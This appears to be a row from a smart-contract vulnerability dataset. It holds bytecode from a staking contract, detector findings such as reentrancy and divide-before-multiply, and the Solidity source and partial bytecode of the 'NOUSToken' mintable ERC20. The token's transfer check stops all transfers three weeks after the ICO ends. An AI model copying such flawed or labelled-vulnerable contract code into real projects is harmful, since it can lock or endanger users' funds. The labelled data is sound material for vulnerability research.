54115b6116d85760405162461bcd60e51b815260040161065290612acd565b600d544210156116fa5760405162461bcd60e51b81526004016106529061294a565b8115610885576001600160a01b0383166000908152600760205260409020548211156117385760405162461bcd60e51b8152600401610652906128bc565b61174061144b565b6001600160a01b0316336001600160a01b031614806117675750336001600160a01b038416145b6117835760405162461bcd60e51b8152600401610652906128fd565b61178e308484611cbb565b6001600160a01b038316600090815260076020526040812080548492906117b6908490612e48565b90915550506001600160a01b0383166000908152600760205260409020546117e1576117e183611d74565b826001600160a01b03167f5f808ed47938c2c6ffcf1784b8a3171a0e8cb25d277b291b26475b303473bbb0834260405161181c929190612c58565b60405180910390a2505050565b6001600160a01b031660009081526007602052604090206003015490565b61184f61144b565b6001600160a01b0316336001600160a01b0316148061186d57503330145b6118895760405162461bcd60e51b815260040161065290612bda565b600081116118a95760405162461bcd60e51b81526004016106529061276d565b600955565b600a5481565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6118e761199f565b6001600160a01b03166118f861144b565b6001600160a01b03161461191e5760405162461bcd60e51b815260040161065290612887565b6001600160a01b0381166119445760405162461bcd60e51b8152600401610652906125cf565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6001600160a01b0383166119c95760405162461bcd60e51b815260040161065290612a52565b6001600160a01b0382166119ef5760405162461bcd60e51b815260040161065290612615565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590611a4a908590612c26565b60405180910390a3505050565b604051602001611a66906124c5565b6040516020818303038152906040528051906020012081604051602001611a8d9190612499565b604051602081830303815290604052805190602001201415611ad057600f54601080546001600160a01b0319166001600160a01b039092169190911790556109d7565b600e54601080546001600160a01b0319166001600160a01b0390921691909117905550565b6001600160a01b038316611b1b5760405162461bcd60e51b815260040161065290612a0d565b6001600160a01b038216611b415760405162461bcd60e51b815260040161065290612520565b611b4c838383610885565b6001600160a01b03831660009081526001602052604090205481811015611b855760405162461bcd60e51b8152600401610652906126e1565b611b8f8282612e48565b6001600160a01b038086166000908152600160205260408082209390935590851681529081208054849290611bc5908490612cdd565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c0f9190612c26565b60405180910390a350505050565b806001600160a01b038116611c3157600080fd5b6001600160a01b03821660009081526006602052604090205460ff1680610885576008805460018181019092557ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0386166001600160a01b031990911681179091556000908152600660205260409020805460ff19169091179055505050565b6108858363a9059cbb60e01b8484604051602401611cda9291906124e9565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152611dcd565b60005b6008548110156109d757600060088281548110611d4157634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03169050611d6181611e5c565b50611d6d600182612cdd565b9050611d14565b806001600160a01b038116611d8857600080fd5b6001600160a01b03821660009081526006602052604090205460ff1680156108855750506001600160a01b03166000908152600660205260409020805460ff19169055565b6000611e22826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316611fda9092919063ffffffff16565b8051909150156108855780806020019051810190611e4091906123b0565b6108855760405162461bcd60e51b815260040161065290612b04565b6001600160a01b038116600090815260076020526040812060010154600a54909190670de0b6b3a764000090606490611e959085612e29565b611e9f9190612cf5565b611ea99190612cf5565b9050600060095411611ecd5760405162461bcd60e51b815260040161065290612808565b8015610885576000600b54600a611ee49190612d5b565b611ef690670de0b6b3a7640000612cf5565b670de0b6b3a764000060095484611f0d9190612e29565b611f179190612cf5565b611f219190612cf5565b600f546010549192506001600160a01b0391821691161415611f73576001600160a01b03841660009081526007602052604081206003018054839290611f68908490612cdd565b90915550611fa49050565b6001600160a01b03841660009081526007602052604081206002018054839290611f9e908490612cdd565b90915550505b6001600160a01b03841660009081526007602052604081206001018054859290611fcf908490612e48565b909155505050505050565b6060611fe98484600085611ff1565b949350505050565b6060824710156120135760405162461bcd60e51b815260040161065290612727565b61201c856120b1565b6120385760405162461bcd60e51b815260040161065290612a96565b600080866001600160a01b031685876040516120549190612499565b60006040518083038185875af1925050503d8060008114612091576040519150601f19603f3d011682016040523d82523d6000602084013e612096565b606091505b50915091506120a68282866120b7565b979650505050505050565b3b151590565b606083156120c6575081610a6c565b8251156120d65782518084602001fd5b8160405162461bcd60e51b8152600401610652919061250d565b80356001600160a01b0381168114610c5e57600080fd5b600082601f830112612117578081fd5b8135602061212c61212783612cb9565b612c8f565b8281528181019085830183850287018401881015612148578586fd5b855b858110156121665781358452928401929084019060010161214a565b5090979650505050505050565b600082601f830112612183578081fd5b813567ffffffffffffffff81111561219d5761219d612ef1565b6121b0601f8201601f1916602001612c8f565b8181528460208386010111156121c4578283fd5b816020850160208301379081016020019190915292915050565b6000602082840312156121ef578081fd5b610a6c826120f0565b6000806040838503121561220a578081fd5b612213836120f0565b9150612221602084016120f0565b90509250929050565b6000806000806080858703121561223f578182fd5b612248856120f0565b9350612256602086016120f0565b9250604085013567ffffffffffffffff811115612271578283fd5b61227d87828801612173565b949793965093946060013593505050565b6000806000606084860312156122a2578283fd5b6122ab846120f0565b92506122b9602085016120f0565b9150604084013590509250925092565b600080604083850312156122db578182fd5b6122e4836120f0565b946020939093013593505050565b60008060408385031215612304578182fd5b823567ffffffffffffffff8082111561231b578384fd5b818501915085601f83011261232e578384fd5b8135602061233e61212783612cb9565b82815281810190858301838502870184018b101561235a578889fd5b8896505b848710156123835761236f816120f0565b83526001969096019591830191830161235e565b5096505086013592505080821115612399578283fd5b506123a685828601612107565b9150509250929050565b6000602082840312156123c1578081fd5b81518015158114610a6c578182fd5b6000806000606084860312156123e4578283fd5b833567ffffffffffffffff8111156123fa578384fd5b61240686828701612173565b9660208601359650604090950135949350505050565b60006020828403121561242d578081fd5b5035919050565b600060208284031215612445578081fd5b5051919050565b60006020828403121561245d578081fd5b815160ff81168114610a6c578182fd5b60008151808452612485816020860160208601612e5f565b601f01601f19169290920160200192915050565b600082516124ab818460208701612e5f565b9190910192915050565b631554d11560e21b815260040190565b635553444360e01b815260040190565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b901515815260200190565b600060208252610a6c602083018461246d565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6020808252818101527f576974686472617720616d6f756e742063616e206e6f74206265207a65726f21604082015260600190565b6020808252601d908201527f496e73756666696369656e74206469766964656e6420737570706c7921000000604082015260600190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526022908201527f43726f776e20746f6b656e2070726963652063616e206e6f74206265207a65726040820152616f2160f01b606082015260800190565b60208082526028908201527f576974686472617720616d6f756e7420657863656564206469766964656e642060408201526762616c616e63652160c01b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526026908201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6040820152651c8818d85b1b60d21b606082015260800190565b6020808252601a908201527f5072696365206d757374206265206d6f7265207468616e203021000000000000604082015260600190565b6020808252601a908201527f4e6f7420656e6f75676820746f6b656e20746f207374616b6521000000000000604082015260600190565b602080825260139082015272496e76616c6964207374616b6520646174652160681b604082015260600190565b6020808252601c908201527f43524f574e2070726963652063616e206e6f74206265207a65726f2100000000604082015260600190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526021908201527f4e6f7420656e6f756768207374616b696e6720746f2062652072656d6f7665646040820152602160f81b606082015260800190565b6020808252602d908201527f4a75737420616e2061646d696e2026207374616b65486f6c6465722063616e2060408201526c72656d6f7665207374616b652160981b606082015260800190565b60208082526029908201527f506c65617365207761697420756e74696c20746865207374616b652072656d6f60408201526876616c20646174652160b81b606082015260800190565b60208082526023908201527f506c65617365207374616b6520696e20746865207374616b696e6720706572696040820152626f642160e81b606082015260800190565b6020808252601e908201527f4469766964656e6420726174652063616e206e6f74206265207a65726f210000604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b60208082526017908201527f496e76616c6964207374616b6520656e64206461746521000000000000000000604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b60208082526027908201527f576974686472617720616d6f756e7420657863656564206469766964656e6420604082015266737570706c792160c81b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b6020808252602c908201527f4f776e61626c653a2063616c6c6572206973206e6f7420616e206f776e65722060408201526b6f7220636f6e74726163742160a01b606082015260800190565b90815260200190565b600084825260606020830152612c48606083018561246d565b9050826040830152949350505050565b918252602082015260400190565b93845260208401929092526040830152606082015260800190565b60ff91909116815260200190565b60405181810167ffffffffffffffff81118282101715612cb157612cb1612ef1565b604052919050565b600067ffffffffffffffff821115612cd357612cd3612ef1565b5060209081020190565b60008219821115612cf057612cf0612edb565b500190565b600082612d1057634e487b7160e01b81526012600452602481fd5b500490565b80825b6001808611612d275750612d52565b818704821115612d3957612d39612edb565b80861615612d4657918102915b9490941c938002612d18565b94509492505050565b6000610a6c6000198484600082612d7457506001610a6c565b81612d8157506000610a6c565b8160018114612d975760028114612da157612dce565b6001915050610a6c565b60ff841115612db257612db2612edb565b6001841b915084821115612dc857612dc8612edb565b50610a6c565b5060208310610133831016604e8410600b8410161715612e01575081810a83811115612dfc57612dfc612edb565b610a6c565b612e0e8484846001612d15565b808604821115612e2057612e20612edb565b02949350505050565b6000816000190483118215151615612e4357612e43612edb565b500290565b600082821015612e5a57612e5a612edb565b500390565b60005b83811015612e7a578181015183820152602001612e62565b8381111561079d5750506000910152565b600281046001821680612e9f57607f821691505b6020821081141561132557634e487b7160e01b600052602260045260246000fd5b6000600019821415612ed457612ed4612edb565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea2646970667358221220369eaa1fa9b67565d80151b4a04e9d4a11e01977cc83ffa5adc8f7df0248eac064736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 9,360 |
0x41ff17293fe3d87d4b6c9dc050ce17694145e1bc
|
pragma solidity ^0.4.11;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping (address => uint256) public balances;
bool public endICO = false;
uint256 public dateEndIco;
event TransferStart();
modifier canTransfer() {
require(endICO);
require(dateEndIco + (3 weeks) > now);
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public canTransfer returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function finishICO() internal returns (bool) {
endICO = true;
dateEndIco = now;
TransferStart();
return true;
}
}
/** @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TokenRecipient {
function receiveApproval(address _from, uint _value, address _tknAddress, bytes _extraData);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public canTransfer returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public canTransfer returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public
canTransfer returns (bool success) {
TokenRecipient spender = TokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public canTransfer constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public canTransfer returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public canTransfer returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) public onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyOwner returns (bool) {
mintingFinished = true;
finishICO();
MintFinished();
return true;
}
}
/**
* @title SampleCrowdsaleToken
* @dev Very simple ERC20 Token that can be minted.
* It is meant to be used in a crowdsale contract.
*/
contract NOUSToken is MintableToken {
string public constant name = "NOUSTOKEN";
string public constant symbol = "NST";
uint32 public constant decimals = 18;
}
|
0x606060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461011757806306fdde0314610144578063095ea7b3146101d257806318160ddd1461022c57806323b872dd1461025557806327e235e3146102ce578063313ce5671461031b57806340c10f19146103505780634f248409146103aa5780634f5b3318146103d7578063661884631461040057806370a082311461045a5780637d64bcb4146104a75780638da5cb5b146104d457806395d89b4114610529578063a9059cbb146105b7578063cae9ca5114610611578063d73dd623146106ae578063dd62ed3e14610708578063f2fde38b14610774575b600080fd5b341561012257600080fd5b61012a6107ad565b604051808215151515815260200191505060405180910390f35b341561014f57600080fd5b6101576107c0565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019757808201518184015260208101905061017c565b50505050905090810190601f1680156101c45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101dd57600080fd5b610212600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107f9565b604051808215151515815260200191505060405180910390f35b341561023757600080fd5b61023f61091b565b6040518082815260200191505060405180910390f35b341561026057600080fd5b6102b4600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610921565b604051808215151515815260200191505060405180910390f35b34156102d957600080fd5b610305600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c3d565b6040518082815260200191505060405180910390f35b341561032657600080fd5b61032e610c55565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b341561035b57600080fd5b610390600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c5a565b604051808215151515815260200191505060405180910390f35b34156103b557600080fd5b6103bd610e2c565b604051808215151515815260200191505060405180910390f35b34156103e257600080fd5b6103ea610e3f565b6040518082815260200191505060405180910390f35b341561040b57600080fd5b610440600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e45565b604051808215151515815260200191505060405180910390f35b341561046557600080fd5b610491600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611106565b6040518082815260200191505060405180910390f35b34156104b257600080fd5b6104ba61114f565b604051808215151515815260200191505060405180910390f35b34156104df57600080fd5b6104e7611204565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561053457600080fd5b61053c61122a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561057c578082015181840152602081019050610561565b50505050905090810190601f1680156105a95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156105c257600080fd5b6105f7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611263565b604051808215151515815260200191505060405180910390f35b341561061c57600080fd5b610694600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061146a565b604051808215151515815260200191505060405180910390f35b34156106b957600080fd5b6106ee600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611618565b604051808215151515815260200191505060405180910390f35b341561071357600080fd5b61075e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611844565b6040518082815260200191505060405180910390f35b341561077f57600080fd5b6107ab600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506118fb565b005b600560149054906101000a900460ff1681565b6040805190810160405280600981526020017f4e4f5553544f4b454e000000000000000000000000000000000000000000000081525081565b6000600260009054906101000a900460ff16151561081657600080fd5b42621baf806003540111151561082b57600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600080600260009054906101000a900460ff16151561093f57600080fd5b42621baf806003540111151561095457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561099057600080fd5b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610a6183600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5390919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610af683600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6c90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b4c8382611a5390919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b60016020528060005260406000206000915090505481565b601281565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cb857600080fd5b600560149054906101000a900460ff16151515610cd457600080fd5b610ce982600054611a6c90919063ffffffff16565b600081905550610d4182600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6c90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600260009054906101000a900460ff1681565b60035481565b600080600260009054906101000a900460ff161515610e6357600080fd5b42621baf8060035401111515610e7857600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610f86576000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061101a565b610f998382611a5390919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111ad57600080fd5b6001600560146101000a81548160ff0219169083151502179055506111d0611a8a565b507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f4e5354000000000000000000000000000000000000000000000000000000000081525081565b6000600260009054906101000a900460ff16151561128057600080fd5b42621baf806003540111151561129557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156112d157600080fd5b61132382600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5390919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113b882600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6c90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600260009054906101000a900460ff16151561148857600080fd5b42621baf806003540111151561149d57600080fd5b8490506114aa85856107f9565b1561160f578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156115a4578082015181840152602081019050611589565b50505050905090810190601f1680156115d15780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15156115f257600080fd5b6102c65a03f1151561160357600080fd5b50505060019150611610565b5b509392505050565b6000600260009054906101000a900460ff16151561163557600080fd5b42621baf806003540111151561164a57600080fd5b6116d982600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6c90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260009054906101000a900460ff16151561186157600080fd5b42621baf806003540111151561187657600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff